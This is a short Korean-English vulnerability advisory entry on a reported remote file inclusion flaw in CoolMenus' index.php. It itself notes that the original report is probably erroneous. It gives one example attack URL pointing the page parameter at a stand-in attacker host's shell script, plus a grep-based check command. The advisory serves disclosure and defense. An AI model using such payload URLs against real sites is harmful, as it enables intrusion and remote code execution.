🇰🇷 한글 설명
CoolMenus의 index.php에서 page 매개변수를 통한 원격 파일 포함(RFI) 취약점으로, 공격자가 악의적인 URL을 전달하여 임의의 코드를 실행할 수 있습니다. 다만 CoolMenus는 PHP로 작성되지 않은 것으로 보여 원본 보고서의 정확성에 의문이 있습니다.
💡 쉬운 설명
웹사이트 주소 입력란(page 매개변수)에 악의적인 파일 경로를 입력하면 공격자의 코드가 실행될 수 있습니다. 이는 매우 오래된 결함이며 현재는 거의 관련이 없는 소프트웨어입니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in index.php in CoolMenus allows remote attackers to execute arbitrary code via a URL in the page parameter. NOTE: the original report for this issue is probably erroneous, since CoolMenus does not appear to be written in PHP.
📍 영향받는 시스템
CoolMenus (버전 불특정, 2006년 이후 유지보수 중단됨)
⚔️ 공격 벡터
index.php의 page 매개변수에 원격 파일 URL 주입 (예: ?page=http://attacker.com/shell.php)
🛡️ 대응 방법
영향받는 CoolMenus 버전 업그레이드 또는 대체 소프트웨어로 마이그레이션
🔧 검증 코드
명령어 결과에서 page 매개변수를 직접 include/require하는 index.php 파일이 발견되면 취약함. 아무 결과도 없으면 해당 취약점이 없거나 소프트웨어가 설치되지 않은 것입니다.
find / -name 'index.php' 2>/dev/null | xargs grep -l 'page.*include' | head -5